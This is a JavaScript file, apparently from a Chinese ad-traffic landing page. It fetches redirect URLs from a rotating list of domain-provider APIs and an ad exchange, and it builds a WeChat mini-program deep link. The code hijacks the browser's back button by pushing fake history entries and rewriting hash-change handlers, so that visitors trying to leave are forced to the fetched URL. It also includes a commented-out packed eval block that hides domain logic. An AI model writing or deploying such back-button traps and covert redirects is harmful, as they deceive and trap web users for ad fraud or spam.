window.onpageshow = function (){
	sessionStorage.getItem("jumpOut") && a();
};

var apiArr = [
    "https://api.wljw21.cn/task/getDomain?hh=ee76&cs=2&pp=1",
	"https://ai8.top/api/getWeUrl?tid=1",
	"https://api.jianyuekeji.cn/api/getDomain/3286_7bwv1yukxsbx19yg",
	"https://api.jianyuekeji.cn/api/getDomain/5133_jdvue9vejevmeusg",
	"https://api.jianyuekeji.cn/api/getDomain/5134_4kwyn83uebbffavk",
	"https://adx.tuia.cn/bid/tuia",
	"https://ai8.top/api/getWeUrl?tid=2",
	"https://ai8.top/api/getWeUrl?tid=3",
	"https://ai8.top/api/getWeUrl?tid=4",
	"https://api.hbty002.cn/task/getDomain?hh=zz100&cs=2&pp=1",//8 万ju
	"https://api.hbty002.cn/task/getDomain?hh=zz100&cs=2&pp=1",//9 liumao
	"https://api.hbty002.cn/task/getDomain?hh=bx28&cs=2&pp=1", //10 wuqion
	"http://www.senyikeji.net/api/domain?ch=4001",//10
];

var timeid = new Date().getTime().toString().substr(-5);
var durl = "";
var href = location.href;
var apiUrl = "";
/*
if(href.indexOf(".best" ) > -1){
    
    var rand_n = Math.floor(Math.random() * 100);
    if(rand_n <= 100){
        apiUrl = apiArr[2];
    }else{
        apiUrl = apiArr[10];
    }
    
    //durl = "https://mp.weixin.qq.com/s/OYVoykhWNEuRSr7Z4gg8gA";
    //durl = "https://mp.weixin.qq.com/s/Setwr-RCD4h85wYy5ecSsA";
}else{
    durl = "https://mp.weixin.qq.com/s/Setwr-RCD4h85wYy5ecSsA";
}
*/

console.log("apiUrl:" + apiUrl);
//durl = "https://mp.weixin.qq.com/s/Ridc1oCNjlZLeN6OcwSZew";

durl = "weixin://dl/business/?appid=wx33474b7963e5638b&path=pages/index/index&query=fromHost%3Dmp:"+ window.location.hostname +"%26fromNid%3D" + dataInfo.nid;
//apiUrl = apiArr[0];

//durl = "https://mp.weixin.qq.com/s/NaXwm8v6ARrxh-wYBbAHFA";

//eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4([\'5.0\'].6(7.8)){9="3://a.b.0/c/d?e=f&g=2&h=1"}i{j="3://k.l.m.n/o/p-q"}',27,27,'cn|||https|if|360ka|includes|location|hostname|apiUrl|api|wljw21|task|getDomain|hh|uu28|cs|pp|else|durl|mp|weixin|qq|com|s|NaXwm8v6ARrxh|wYBbAHFA'.split('|'),0,{}))

if (apiUrl == apiArr[4]){
	var dataArr ={
		device:{ ua: "PostmanRuntime/7.28.4" },
		id: "c5c56777b2cd4c5482d664a3bfddbf",
		imp: [
			{
				banner:{ h: 0, mimes: ["jpg", "jpeg", "png", "gif"], w: 0 },
				bidfloor: 0,
				id: "534654e3db",
				pid: "470680",
				type: 1,
			},
		],
		secure: 1,
	};

    var xhr = new XMLHttpRequest();
    xhr.open('POST', apiArr[4], true);
    xhr.setRequestHeader('Content-Type', 'application/json');
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            var data = JSON.parse(xhr.responseText.trim());
            durl = data.seatbid[0].bid[0].durl;
			console.log("durk",durl);
			
			window.fetch(apiArr[5]).then(function (res){
			    return res.json();
			}).then(function (data){});
			
        }
    };
    xhr.send(JSON.stringify(dataArr));
}else{
	if(!durl){
		window.fetch(apiUrl).then(function (res){
			return res.json();
		}).then(function (data){
			durl = data.url ? data.url : data.data.url;
			
			/*
			//增加PV数
			window.fetch(apiArr[7]).then(function (res){
				return res.json();
			}).then(function (data){});
			*/
			
		});
	}
}

function a(){
	if (durl){
		location.href = durl;
	}
}

function ntzgo(){
	history.pushState(history.length + 1, "message", window.location.href.split("#")[0] + "#" + new Date().getTime(), );
	if (navigator.userAgent.indexOf("Android") != -1){
		if (typeof tbsJs != "undefined"){
			tbsJs.onReady("{useCachedApi : 'true'}",
			function(e){});
			window.onhashchange = function(){
				window.history.pushState("forward", null, "#");
				window.history.forward(1);
				if (durl){
            		location.href = durl;
            	}
			}
		}else{
			var pop = 0;
			window.onhashchange = function(event){
				pop++;
				if (pop >= 3){
					if (durl){
                		location.href = durl;
                	}
				}else{
					history.go(1);
				}
			};
			history.go(-1);
		}
	}else{
		window.onhashchange = function(){
			if (durl){
        		location.href = durl;
        	}
		}
	}
}

//if (typeof ntzgo === 'function') {ntzgo();}//05-03 00:49